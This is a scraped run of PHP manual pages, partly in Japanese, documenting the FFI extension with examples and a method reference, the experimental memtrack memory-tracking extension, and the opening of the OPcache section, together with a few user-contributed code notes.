  • A Complete PHP/FFI/preloading Example

User Contributed Notes

There are no user contributed notes for this page.


Basic FFI usage

Before diving into the details of the FFI API, lets take a look at a few examples demonstrating the simplicity of the FFI API usage for regular tasks.

注意:

Some of these examples require libc.so.6 and as such will not work on systems where it is not available.

例1 Calling a function from shared library

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is a regular C declaration
    "libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>

上の例の出力は以下となります。

Hello world!

注意:

Note that some C functions need specific calling conventions, e.g. __fastcall, __stdcall or ,__vectorcall.

例2 Calling a function, returning a structure through an argument

<?php
// create gettimeofday() binding
$ffi = FFI::cdef("
    typedef unsigned int time_t;
    typedef unsigned int suseconds_t;

    struct timeval {
        time_t      tv_sec;
        suseconds_t tv_usec;
    };

    struct timezone {
        int tz_minuteswest;
        int tz_dsttime;
    };

    int gettimeofday(struct timeval *tv, struct timezone *tz);
", "libc.so.6");
// create C data structures
$tv = $ffi->new("struct timeval");
$tz = $ffi->new("struct timezone");
// call C's gettimeofday()
var_dump($ffi->gettimeofday(FFI::addr($tv), FFI::addr($tz)));
// access field of C data structure
var_dump($tv->tv_sec);
// print the whole C data structure
var_dump($tz);
?>

上の例の出力は、 たとえば以下のようになります。

int(0)
int(1555946835)
object(FFI\CData:struct timezone)#3 (2) {
  ["tz_minuteswest"]=>
  int(0)
  ["tz_dsttime"]=>
  int(0)
}

例3 Accessing existing C variables

<?php
// create FFI object, loading libc and exporting errno variable
$ffi = FFI::cdef(
    "int errno;", // this is a regular C declaration
    "libc.so.6");
// print C's errno
var_dump($ffi->errno);
?>

上の例の出力は以下となります。

int(0)

例4 Creating and Modifying C variables

<?php
// create a new C int variable
$x = FFI::new("int");
var_dump($x->cdata);

// simple assignment
$x->cdata = 5;
var_dump($x->cdata);

// compound assignment
$x->cdata += 2;
var_dump($x->cdata);
?>

上の例の出力は以下となります。

int(0)
int(5)
int(7)

例5 Working with C arrays

<?php
// create C data structure
$a = FFI::new("long[1024]");
// work with it like with a regular PHP array
for ($i = 0; $i < count($a); $i++) {
    $a[$i] = $i;
}
var_dump($a[25]);
$sum = 0;
foreach ($a as $n) {
    $sum += $n;
}
var_dump($sum);
var_dump(count($a));
var_dump(FFI::sizeof($a));
?>

上の例の出力は以下となります。

int(25)
int(523776)
int(1024)
int(8192)

例6 Working with C enums

<?php
$a = FFI::cdef('typedef enum _zend_ffi_symbol_kind {
    ZEND_FFI_SYM_TYPE,
    ZEND_FFI_SYM_CONST = 2,
    ZEND_FFI_SYM_VAR,
    ZEND_FFI_SYM_FUNC
} zend_ffi_symbol_kind;
');
var_dump($a->ZEND_FFI_SYM_TYPE);
var_dump($a->ZEND_FFI_SYM_CONST);
var_dump($a->ZEND_FFI_SYM_VAR);
?>

上の例の出力は以下となります。

int(0)
int(2)
int(3)

User Contributed Notes

wowabbs+php at gmail dot com 11-Dec-2020 07:42
<?
  if(!dl("ffi")) // Load the extension
      throw new Exception('Cound not load the FFI extension.');

  function setWindowsDesktop($bmpFilePath)
  {
    define('SPI_SETDESKWALLPAPER'  , 0x14);
    define('SPIF_UPDATEINIFILE'    ,  0x1);
    define('SPIF_SENDWININICHANGE' ,  0x2);
    assert(File_Exists($bmpFilePath));

    // declare the Win32 API function used to change desktop settings.
    $User32 = FFI::cdef(<<<'IDL'
      int SystemParametersInfoA(int uAction, int uParam, char *lpvParam, int fuWinIni);
    IDL, 'User32.dll');
    $Kernel32 = FFI::cdef(<<<'IDL'
      int GetLastError();
    IDL, 'Kernel32.dll');
    // call the Windows API to update the desktop background.
    $Ret = $User32->SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, $bmpFilePath, SPIF_UPDATEINIFILE || SPIF_SENDWININICHANGE);
    if ($Ret == 0)
    {
      $Error = $Kernel32->GetLastError();
      throw new Exception("The call to the Windows API failed (error {$Error}).");
    }
  }

  $Url='https://www.php.net//images/news/phpkonf_2015.png';
  $Img=File_Get_Contents($Url);
  File_Put_Contents($File=basename($Url), $Img);
  setWindowsDesktop(realpath($File));
?>


PHP Callbacks

It is possible to assign a PHP closure to a native variable of function pointer type or to pass it as a function argument:

<?php
$zend = FFI::cdef("
    typedef int (*zend_write_func_t)(const char *str, size_t str_length);
    extern zend_write_func_t zend_write;
");

echo "Hello World 1!\n";

$orig_zend_write = clone $zend->zend_write;
$zend->zend_write = function($str, $len) {
    global $orig_zend_write;
    $orig_zend_write("{\n\t", 3);
    $ret = $orig_zend_write($str, $len);
    $orig_zend_write("}\n", 2);
    return $ret;
};
echo "Hello World 2!\n";
$zend->zend_write = $orig_zend_write;
echo "Hello World 3!\n";
?>

上の例の出力は以下となります。

Hello World 1!
{
        Hello World 2!
}
Hello World 3!
Although this works, this functionality is not supported on all libffi platforms, is not efficient and leaks resources by the end of request.
ヒント

It is therefore recommended to minimize the usage of PHP callbacks.

User Contributed Notes

There are no user contributed notes for this page.


A Complete PHP/FFI/preloading Example

php.ini

ffi.enable=preload
opcache.preload=preload.php

preload.php

<?php
FFI::load(__DIR__ . "/dummy.h");
opcache_compile_file(__DIR__ . "/dummy.php");
?>

dummy.h

#define FFI_SCOPE "DUMMY"
#define FFI_LIB "libc.so.6"

int printf(const char *format, ...);

dummy.php

<?php
final class Dummy {
    private static $ffi = null;
    function __construct() {
        if (is_null(self::$ffi)) {
            self::$ffi = FFI::scope("DUMMY");
        }
    }
    function printf($format, ...$args) {
       return (int)self::$ffi->printf($format, ...$args);
    }
}
?>

test.php

<?php
$d = new Dummy();
$d->printf("Hello %s!\n", "world");
?>

User Contributed Notes

There are no user contributed notes for this page.


Main interface to C code and data

(PHP 7 >= 7.4.0)

はじめに

Objects of this class are created by the factory methods FFI::cdef(), FFI::load() or FFI::scope(). Defined C variables are made available as properties of the FFI instance, and defined C functions are made available as methods of the FFI instance. Declared C types can be used to create new C data structures using FFI::new() and FFI::type().

FFI definition parsing and shared library loading may take significant time. It is not useful to do it on each HTTP request in a Web environment. However, it is possible to preload FFI definitions and libraries at PHP startup, and to instantiate FFI objects when necessary. Header files may be extended with special FFI_SCOPE defines (e.g. #define FFI_SCOPE "foo"""; the default scope is "C") and then loaded by FFI::load() during preloading. This leads to the creation of a persistent binding, that will be available to all the following requests through FFI::scope(). Refer to the complete PHP/FFI/preloading example for details.

It is possible to preload more than one C header file into the same scope.

クラス概要

FFI {
/* メソッド */
public static addr ( FFI\CData &$ptr ) : FFI\CData
public static alignof ( FFI\CData|FFI\CType &$ptr ) : int
public static arrayType ( FFI\CType $type , array $dimensions ) : FFI\CType
public static cast ( FFI\CType|string $type , FFI\CData|int|float|bool|null &$ptr ) : FFI\CData|null
public cast ( FFI\CType|string $type , FFI\CData|int|float|bool|null &$ptr ) : FFI\CData|null
public static cdef ( string $code = "" , string|null $lib = null ) : FFI
public static free ( FFI\CData &$ptr ) : void
public static isNull ( FFI\CData &$ptr ) : bool
public static load ( string $filename ) : FFI|null
public static memcmp ( string|FFI\CData &$ptr1 , string|FFI\CData &$ptr2 , int $size ) : int
public static memcpy ( FFI\CData &$to , FFI\CData|string &$from , int $size ) : void
public static memset ( FFI\CData &$ptr , int $value , int $size ) : void
public static new ( FFI\CType|string $type , bool $owned = true , bool $persistent = false ) : FFI\CData|null
public new ( FFI\CType|string $type , bool $owned = true , bool $persistent = false ) : FFI\CData|null
public static scope ( string $name ) : FFI
public static sizeof ( FFI\CData|FFI\CType &$ptr ) : int
public static string ( FFI\CData &$ptr , int|null $size = null ) : string
public static type ( string $type ) : FFI\CType|null
public type ( string $type ) : FFI\CType|null
public static typeof ( FFI\CData &$ptr ) : FFI\CType
}

目次

  • FFI::addr — Creates an unmanaged pointer to C data
  • FFI::alignof — Gets the alignment
  • FFI::arrayType — Dynamically constructs a new C array type
  • FFI::cast — Performs a C type cast
  • FFI::cdef — Creates a new FFI object
  • FFI::free — Releases an unmanaged data structure
  • FFI::isNull — Checks whether a FFI\CData is a null pointer
  • FFI::load — Loads C declarations from a C header file
  • FFI::memcmp — Compares memory areas
  • FFI::memcpy — Copies one memory area to another
  • FFI::memset — Fills a memory area
  • FFI::new — Creates a C data structure
  • FFI::scope — Instantiates an FFI object with C declarations parsed during preloading
  • FFI::sizeof — Gets the size of C data or types
  • FFI::string — Creates a PHP string from a memory area
  • FFI::type — Creates an FFI\CType object from a C declaration
  • FFI::typeof — Gets the FFI\CType of FFI\CData

User Contributed Notes

There are no user contributed notes for this page.


Creates an unmanaged pointer to C data

  • ≪ FFI
  • FFI::alignof ≫
  • PHP Manual
  • FFI
  • Creates an unmanaged pointer to C data

FFI::addr

(PHP 7 >= 7.4.0)

FFI::addr — Creates an unmanaged pointer to C data

説明

public static FFI::addr ( FFI\CData &$ptr ) : FFI\CData

Creates an unmanaged pointer to the C data represented by the given FFI\CData. The source ptr must survive the resulting pointer. This function is mainly useful to pass arguments to C functions by pointer.

パラメータ

ptr

The handle of the pointer to a C data structure.

返り値

Returns the freshly created FFI\CData object.

User Contributed Notes

There are no user contributed notes for this page.


Gets the alignment

  • ≪ FFI::addr
  • FFI::arrayType ≫
  • PHP Manual
  • FFI
  • Gets the alignment

FFI::alignof

(PHP 7 >= 7.4.0)

FFI::alignof — Gets the alignment

説明

public static FFI::alignof ( FFI\CData|FFI\CType &$ptr ) : int

Gets the alignment of the given FFI\CData or FFI\CType object.

パラメータ

ptr

The handle of the C data or type.

返り値

Returns the alignment of the given FFI\CData or FFI\CType object.

User Contributed Notes

There are no user contributed notes for this page.


Dynamically constructs a new C array type

  • ≪ FFI::alignof
  • FFI::cast ≫
  • PHP Manual
  • FFI
  • Dynamically constructs a new C array type

FFI::arrayType

(PHP 7 >= 7.4.0)

FFI::arrayType — Dynamically constructs a new C array type

説明

public static FFI::arrayType ( FFI\CType $type , array $dimensions ) : FFI\CType

Dynamically constructs a new C array type with elements of type defined by type, and dimensions specified by dimensions. In the following example $t1 and $t2 are equivalent array types:

<?php
$t1 = FFI::type("int[2][3]");
$t2 = FFI::arrayType(FFI::type("int"), [2, 3]);
?>

パラメータ

type

A valid C declaration as string, or an instance of FFI\CType which has already been created.

dimensions

The dimensions of the type as array.

返り値

Returns the freshly created FFI\CType object.

User Contributed Notes

There are no user contributed notes for this page.


Performs a C type cast

  • ≪ FFI::arrayType
  • FFI::cdef ≫
  • PHP Manual
  • FFI
  • Performs a C type cast

FFI::cast

(PHP 7 >= 7.4.0)

FFI::cast — Performs a C type cast

説明

public static FFI::cast ( FFI\CType|string $type , FFI\CData|int|float|bool|null &$ptr ) : FFI\CData|null
public FFI::cast ( FFI\CType|string $type , FFI\CData|int|float|bool|null &$ptr ) : FFI\CData|null

FFI::cast() creates a new FFI\CData object, that references the same C data structure, but is associated with a different type. The resulting object does not own the C data, and the source ptr must survive the result. The C type may be specified as a string with any valid C type declaration or as FFI\CType object, created before. If this method is called statically, it must only use predefined C type names (e.g. int, char, etc.); if the method is called as instance method, any type declared for the instance is allowed.

パラメータ

type

A valid C declaration as string, or an instance of FFI\CType which has already been created.

ptr

The handle of the pointer to a C data structure.

返り値

Returns the freshly created FFI\CData object.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new FFI object

  • ≪ FFI::cast
  • FFI::free ≫
  • PHP Manual
  • FFI
  • Creates a new FFI object

FFI::cdef

(PHP 7 >= 7.4.0)

FFI::cdef — Creates a new FFI object

説明

public static FFI::cdef ( string $code = "" , string|null $lib = null ) : FFI

Creates a new FFI object.

パラメータ

code

A string containing a sequence of declarations in regular C language (types, structures, functions, variables, etc). Actually, this string may be copy-pasted from C header files.

注意:

C preprocessor directives are not supported, i.e. #include, #define and CPP macros do not work.

lib

The name of a shared library file, to be loaded and linked with the definitions.

注意:

If lib is omitted, platforms supporting RTLD_DEFAULT attempt to lookup symbols declared in code in the normal global scope. Other systems will fail to resolve these symbols.

返り値

Returns the freshly created FFI object.

変更履歴

バージョン | 説明
8.0.0 | lib is nullable now.

User Contributed Notes

derrekbertrand at gmail dot com 27-Feb-2020 10:33
You'll probably want to add a C header file, but as of the current version preprocessor directives do not work... so what do? On systems with GCC run the file through this command:

cpp -P /usr/include/unprocessedheader.h -o myprettyheader.h

Note that because preprocessing is not suppored in FFI, C/C++ macros are not supported either. You'll probably still have to write a small wrapper in C unless your library has an exceedingly simple public API.


Releases an unmanaged data structure

  • ≪ FFI::cdef
  • FFI::isNull ≫
  • PHP Manual
  • FFI
  • Releases an unmanaged data structure

FFI::free

(PHP 7 >= 7.4.0)

FFI::free — Releases an unmanaged data structure

説明

public static FFI::free ( FFI\CData &$ptr ) : void

Manually releases a previously created unmanaged data structure.

パラメータ

ptr

The handle of the unmanaged pointer to a C data structure.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Checks whether a FFI\CData is a null pointer

  • ≪ FFI::free
  • FFI::load ≫
  • PHP Manual
  • FFI
  • Checks whether a FFI\CData is a null pointer

FFI::isNull

(PHP 7 >= 7.4.0)

FFI::isNull — Checks whether a FFI\CData is a null pointer

説明

public static FFI::isNull ( FFI\CData &$ptr ) : bool

Checks whether a FFI\CData is a null pointer.

パラメータ

ptr

The handle of the pointer to a C data structure.

返り値

Returns whether a FFI\CData is a null pointer.

User Contributed Notes

There are no user contributed notes for this page.


Loads C declarations from a C header file

  • ≪ FFI::isNull
  • FFI::memcmp ≫
  • PHP Manual
  • FFI
  • Loads C declarations from a C header file

FFI::load

(PHP 7 >= 7.4.0)

FFI::load — Loads C declarations from a C header file

説明

public static FFI::load ( string $filename ) : FFI|null

Loads C declarations from a C header file. It is possible to specify shared libraries that should be loaded, using special FFI_LIB defines in the loaded C header file.

パラメータ

filename

The name of a C header file.

C preprocessor directives are not supported, i.e. #include, #define and CPP macros do not work, except for special cases listed below.

The header file should contain a #define statement for the FFI_SCOPE variable, e.g.: #define FFI_SCOPE "MYLIB". Refer to the class introduction for details.

The header file may contain a #define statement for the FFI_LIB variable to specify the library it exposes. If it is a system library only the file name is required, e.g.: #define FFI_LIB "libc.so.6". If it is a custom library, a relative path is required, e.g.: #define FFI_LIB "./mylib.so".

返り値

Returns the freshly created FFI object, or null on failure.

参考

  • FFI::scope() - Instantiates an FFI object with C declarations parsed during preloading

User Contributed Notes

jungmann0 at gmail dot com 20-Jun-2020 07:20
Since #include's and #define's other than FFI_LIB and FFI_SCOPE are not supported in the header, you may want to use the C preprocessor to pre-process your headers in order to resolve all #include's and macros.

I use -D"__attribute__(ARGS)=" to remove function attributes as well, which are not supported by FFI either.

This is my script:

echo '#define FFI_SCOPE "YOUR_SCOPE"' > header-ffi.h
echo '#define FFI_LIB "/path/to/your_lib.so"' >> header-ffi.h
cpp -P -C -D"__attribute__(ARGS)=" header_original >> header-ffi.h
ojrask at gmail dot com 03-Feb-2020 07:23
Regarding the `FFI_LIB` constant:

The path given can be either relative, or absolute, or then refer to a library that is in your global libraries path (i.e. where libc.so.6 and friends are).

The absolute path and global lib path work as expected. The relative path does not work from the header file path, but the current working directory instead. So when you create header files for FFI usage, remember that the PHP script can be called anywhere and this means any relative paths in `FFI_LIB` will most probably fail.

Not sure if there is some possibility to make it use paths relative to the script being called, or relative to the header file being loaded. That would make more sense to me at least.

Right now `FFI_LIB` is quite unusable when it comes to making FFI-powered PHP packages that can be installed literally anywhere on a system. `FFI::cdef` works just as well, but `FFI::scope` also seems to rely on `FFI_LIB` meaning it will fail with relative paths as well.

I guess this comes from the C function `dlopen` as is.


Compares memory areas

  • ≪ FFI::load
  • FFI::memcpy ≫
  • PHP Manual
  • FFI
  • Compares memory areas

FFI::memcmp

(PHP 7 >= 7.4.0)

FFI::memcmp — Compares memory areas

説明

public static FFI::memcmp ( string|FFI\CData &$ptr1 , string|FFI\CData &$ptr2 , int $size ) : int

Compares size bytes from the memory areas ptr1 and ptr2. Both ptr1 and ptr2 can be any native data structures (FFI\CData) or PHP strings.

パラメータ

ptr1

The start of one memory area.

ptr2

The start of another memory area.

size

The number of bytes to compare.

返り値

Returns < 0 if the contents of the memory area starting at ptr1 are considered less than the contents of the memory area starting at ptr2, > 0 if the contents of the first memory area are considered greater than the second, and 0 if they are equal.

User Contributed Notes

There are no user contributed notes for this page.


Copies one memory area to another

  • ≪ FFI::memcmp
  • FFI::memset ≫
  • PHP Manual
  • FFI
  • Copies one memory area to another

FFI::memcpy

(PHP 7 >= 7.4.0)

FFI::memcpy — Copies one memory area to another

説明

public static FFI::memcpy ( FFI\CData &$to , FFI\CData|string &$from , int $size ) : void

Copies size bytes from the memory area from to the memory area to.

パラメータ

to

The start of the memory area to copy to.

from

The start of the memory area to copy from.

size

The number of bytes to copy.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Fills a memory area

  • ≪ FFI::memcpy
  • FFI::new ≫
  • PHP Manual
  • FFI
  • Fills a memory area

FFI::memset

(PHP 7 >= 7.4.0)

FFI::memset — Fills a memory area

説明

public static FFI::memset ( FFI\CData &$ptr , int $value , int $size ) : void

Fills size bytes of the memory area pointed to by ptr with the given byte value.

パラメータ

ptr

The start of the memory area to fill.

value

The byte to fill with.

size

The number of bytes to fill.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Creates a C data structure

  • ≪ FFI::memset
  • FFI::scope ≫
  • PHP Manual
  • FFI
  • Creates a C data structure

FFI::new

(PHP 7 >= 7.4.0)

FFI::new — Creates a C data structure

説明

public static FFI::new ( FFI\CType|string $type , bool $owned = true , bool $persistent = false ) : FFI\CData|null
public FFI::new ( FFI\CType|string $type , bool $owned = true , bool $persistent = false ) : FFI\CData|null

Creates a native data structure of the given C type. If this method is called statically, it must only use predefined C type names (e.g. int, char, etc.); if the method is called as instance method, any type declared for the instance is allowed.

パラメータ

type

type is a valid C declaration as string, or an instance of FFI\CType which has already been created.

owned

Whether to create owned (i.e. managed) or unmanaged data. Managed data lives together with the returned FFI\CData object, and is released when the last reference to that object is released by regular PHP reference counting or GC. Unmanaged data should be released by calling FFI::free(), when no longer needed.

persistent

Whether to allocate the C data structure permanently on the system heap (using malloc()), or on the PHP request heap (using emalloc()).

返り値

Returns the freshly created FFI\CData object, or null on failure.

User Contributed Notes

baminazad at cs dot stonybrook dot edu 18-Dec-2019 08:30
Let's assume we have a C struct:
typedef struct _Z3_ast *Z3_ast;

and we want to create an array:
Z3_ast args[2];

and assign values:
args[1] = x;
args[1] = y;

The PHP FFI equivalent would be:
<?php
$ffi = FFI::cdef(...
// Create Z3_ast[2] type
$arg_type = FFI::arrayType($ffi->type('Z3_ast'), [2]);
// Create array of type Z3_ast[2]
$args = FFI::new($arg_type);
// Populate the array
$args[0] = $x;
$args[1] = $y;
?>


Instantiates an FFI object with C declarations parsed during preloading

  • ≪ FFI::new
  • FFI::sizeof ≫
  • PHP Manual
  • FFI
  • Instantiates an FFI object with C declarations parsed during preloading

FFI::scope

(PHP 7 >= 7.4.0)

FFI::scope — Instantiates an FFI object with C declarations parsed during preloading

説明

public static FFI::scope ( string $name ) : FFI

Instantiates an FFI object with C declarations parsed during preloading.

The FFI::scope() method is safe to call multiple times for the same scope. Multiple references to the same scope may be loaded at the same time.

パラメータ

name

The scope name defined by a special FFI_SCOPE define.

返り値

Returns the freshly created FFI object.

参考

  • FFI::load() - Loads C declarations from a C header file

User Contributed Notes

There are no user contributed notes for this page.


Gets the size of C data or types

  • ≪ FFI::scope
  • FFI::string ≫
  • PHP Manual
  • FFI
  • Gets the size of C data or types

FFI::sizeof

(PHP 7 >= 7.4.0)

FFI::sizeof — Gets the size of C data or types

説明

public static FFI::sizeof ( FFI\CData|FFI\CType &$ptr ) : int

Returns the size of the given FFI\CData or FFI\CType object.

パラメータ

ptr

The handle of the C data or type.

返り値

The size of the memory area pointed at by ptr.

User Contributed Notes

wowabbs+php at gmail dot com 12-Dec-2020 03:17
<?php // Sample using sizeof
    Function _Win_Ffi_GlobalMemoryStatus()
    {
      static $Kernel32, $a, $r;
      $Kernel32??=FFI::cdef(<<<'IDL'
        typedef struct _MemoryStatus {
          uint32_t Length        ;
          uint32_t MemoryLoad    ;
          uint64_t TotalPhys     ;
          uint64_t AvailPhys     ;
          uint64_t TotalPageFile ;
          uint64_t AvailPageFile ;
          uint64_t TotalVirtual  ;
          uint64_t AvailVirtual  ;
        } MemoryStatus;
        void GlobalMemoryStatus(MemoryStatus* buf);
       IDL, 'Kernel32.dll');
      $a??=$Kernel32->new('MemoryStatus');
      $a->Length =$Kernel32::sizeof($Kernel32->type('MemoryStatus'));
      $r??=FFI::addr($a);
      $Kernel32->GlobalMemoryStatus($r);
      return [
        'Total' =>$a->TotalPhys,
        'Free'  =>$a->TotalPhys-$a->AvailPhys,
        'Load'  =>$a->MemoryLoad*0.01,
      ];
    }
?>


Creates a PHP string from a memory area

  • ≪ FFI::sizeof
  • FFI::type ≫
  • PHP Manual
  • FFI
  • Creates a PHP string from a memory area

FFI::string

(PHP 7 >= 7.4.0)

FFI::string — Creates a PHP string from a memory area

説明

public static FFI::string ( FFI\CData &$ptr , int|null $size = null ) : string

Creates a PHP string from size bytes of the memory area pointed to by ptr.

パラメータ

ptr

The start of the memory area from which to create a string.

size

The number of bytes to copy to the string. If size is omitted, ptr must be a zero terminated array of C chars.

返り値

The freshly created PHP string.

変更履歴

バージョン | 説明
8.0.0 | size is nullable now; previously, its default was 0.

User Contributed Notes

There are no user contributed notes for this page.


Creates an FFI\CType object from a C declaration

  • ≪ FFI::string
  • FFI::typeof ≫
  • PHP Manual
  • FFI
  • Creates an FFI\CType object from a C declaration

FFI::type

(PHP 7 >= 7.4.0)

FFI::type — Creates an FFI\CType object from a C declaration

説明

public static FFI::type ( string $type ) : FFI\CType|null
public FFI::type ( string $type ) : FFI\CType|null

This function creates and returns a FFI\CType object for the given string containing a C type declaration. If this method is called statically, it must only use predefined C type names (e.g. int, char, etc.); if the method is called as instance method, any type declared for the instance is allowed.

パラメータ

type

A valid C declaration as string, or an instance of FFI\CType which has already been created.

返り値

Returns the freshly created FFI\CType object, or null on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gets the FFI\CType of FFI\CData

  • ≪ FFI::type
  • FFI\CData ≫
  • PHP Manual
  • FFI
  • Gets the FFI\CType of FFI\CData

FFI::typeof

(PHP 7 >= 7.4.0)

FFI::typeof — Gets the FFI\CType of FFI\CData

説明

public static FFI::typeof ( FFI\CData &$ptr ) : FFI\CType

Gets the FFI\CType object representing the type of the given FFI\CData object.

パラメータ

ptr

The handle of the pointer to a C data structure.

返り値

Returns the FFI\CType object representing the type of the given FFI\CData object.

User Contributed Notes

There are no user contributed notes for this page.


C Data Handles

(PHP 7 >= 7.4.0)

はじめに

FFI\CData objects can be used in a number of ways as a regular PHP data:

  • C data of scalar types can be read and assigned via the $cdata property, e.g. $x = FFI::new('int'); $x->cdata = 42;
  • C struct and union fields can be accessed as regular PHP object property, e.g. $cdata->field
  • C array elements can be accessed as regular PHP array elements, e.g. $cdata[$offset]
  • C arrays can be iterated using foreach statements.
  • C arrays can be used as arguments of count().
  • C pointers can be dereferenced as arrays, e.g. $cdata[0]
  • C pointers can be compared using regular comparison operators (<, <=, ==, !=, >=, >).
  • C pointers can be incremented and decremented using regular +/-/ ++/-- operations, e.g. $cdata += 5
  • C pointers can be subtracted from another using regular - operations.
  • C pointers to functions can be called as a regular PHP closure, e.g. $cdata()
  • Any C data can be duplicated using the clone operator, e.g. $cdata2 = clone $cdata;
  • Any C data can be visualized using var_dump(), print_r(), etc.

注意: Notable limitations are that FFI\CData instances do not support isset(), empty() and unset(), and that wrapped C structs and unions do not implement Traversable.

クラス概要

FFI\CData {
}

User Contributed Notes

There are no user contributed notes for this page.


C Type Handles

(PHP 7 >= 7.4.0)

はじめに

クラス概要

FFI\CType {
}

User Contributed Notes

scorninpc at php dot net 03-Jan-2020 09:33
You can compare CTypes if you want to know if the type are correct

\FFI::typeof(\FFI::addr($a)) == \FFI::typeof(\FFI::new("void *"))

CType need some methods, like equal() or toString(), but .....


FFI Exceptions

(PHP 7 >= 7.4.0)

はじめに

クラス概要

FFI\Exception extends Error implements Throwable {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


FFI Parser Exceptions

(PHP 7 >= 7.4.0)

はじめに

クラス概要

FFI\ParserException extends FFI\Exception implements Throwable {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
}

User Contributed Notes

There are no user contributed notes for this page.


Memtrack

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、最もメモリを食うスクリプトや関数がどれなのかを調べます。

memtrack は、PHP スクリプトのメモリ消費を追跡し、 ユーザーが設定したあるレベル以上に達したときに報告 (警告) します。 これを実現するために、デフォルトのエグゼキュータ関数を置き換えています。 この特別な関数で、本来のエグザキュータを実行する前後のメモリ使用量を比較しています。 こうすることで、コードの現在の部分でメモリ使用量がどれだけ変化したかを知ることができます。

Zend Engine は、エグゼキュータを opcode 配列 (op_array) 単位で実行します。これは、通常は関数やプレーンスクリプトなどの単位になります。 つまり、memtrack はパフォーマンスに対する影響は及ぼしません。

memtrack は何も関数は提供しません。 動作させるための INI ディレクティブが追加されるだけです。

警告

この拡張モジュールは、 実験的 なものです。この拡張モジュールの動作・ 関数名・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 このモジュールは自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/memtrack

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Memtrack 設定オプション
名前 | デフォルト | 変更可能
memtrack.enabled | "0" | PHP_INI_SYSTEM
memtrack.soft_limit | "0" | PHP_INI_ALL
memtrack.hard_limit | "0" | PHP_INI_ALL
memtrack.vm_limit | "0" | PHP_INI_ALL
memtrack.ignore_functions | "" | PHP_INI_SYSTEM
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

memtrack.enabled bool

この拡張モジュールを有効あるいは無効にします。デフォルトは 0、つまり無効です。

memtrack.soft_limit int

ソフトメモリリミット。

この拡張モジュールは、op_array の実行前後のメモリ消費量を調べ、 その差がハードリミット以上になった場合に警告を発します。 ただし、その関数が無視されていない場合のみです。

このオプションを 0 にすると、ソフトリミットとハードリミットの両方の警告が無効になります。 デフォルト値は 0、つまり警告は一切発生しません。

memtrack.hard_limit int

ハードメモリリミット。

この拡張モジュールは、op_array の実行前後のメモリ消費量を調べ、 その差がハードリミット以上になった場合に その関数が無視されていたとしても 警告を発します。このオプションを 0 にするとハードリミットの警告が完全に無効となります。 デフォルト値は 0、つまり警告は一切発生しません。

memtrack.vm_limit int

仮装メモリリミット (プロセスに対して設定します)。

このリミットをチェックするのはシャットダウン時のみです。 値がこのリミット以上であった場合に警告を発します。

このオプションを現在サポートしているのは、mailinfo() 関数が使用可能な OS (Linux など) のみです。

memtrack.ignore_functions string

カンマあるいはスペースで区切った関数名の一覧。 ここで指定した関数は soft_limit で無視されます。 大文字小文字は区別されます。また、クラスメソッドは class::method 形式で指定します。

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • 基本的な使用法

User Contributed Notes

There are no user contributed notes for this page.


基本的な使用法

memtrack 拡張モジュールの基本的な使用例です。

例1 関数内での巨大な配列の作成

<?php

/* /tmp/example1.php */

function foo() {
    $a = array();
    for ($i = 0; $i < 10000; $i++) $a[] = "test";
    return $a;
}
$arr = foo();

?>

このサンプルを、次のようなコマンドで実行します。

php -d memtrack.enabled=1 -d memtrack.soft_limit=1M -d memtrack.vm_limit=3M /tmp/example1.php

上の例の出力は、 たとえば以下のようになります。

Warning: [memtrack] [pid 26177] user function foo() executed in /tmp/example1.php on line 10 allocated 4194304 bytes in /tmp/example1.php on line 0
Warning: [memtrack] [pid 26177] virtual memory usage on shutdown: 32911360 bytes in Unknown on line 0

User Contributed Notes

There are no user contributed notes for this page.


OPcache

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • コードの事前ロード
  • OPcache 関数
    • opcache_compile_file — PHP スクリプトを、実行せずにコンパイルしてキャッシュする
    • opcache_get_configuration — キャッシュについての構成情報を取得
    • opcache_get_status — キャッシュについてのステータス情報を取得
    • opcache_invalidate — キャッシュされたスクリプトを無効にする
    • opcache_is_script_cached — スクリプトが OPCache にキャッシュされているかどうかを伝えます。
    • opcache_reset — opcode のキャッシュ内容をリセットする

User Contributed Notes

There are no user contributed notes for this page.


はじめに

OPcache はコンパイル済みのバイトコードを共有メモリに保存し、PHP がリクエストのたびにスクリプトを読み込み、パースする手間を省くことでパフォーマンスを向上させます。

このPHP拡張モジュールは PHP 5.5.0 以降のバージョンにバンドルされています。 PHP 5.2, 5.3, 5.4 では » PECL で利用可能です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

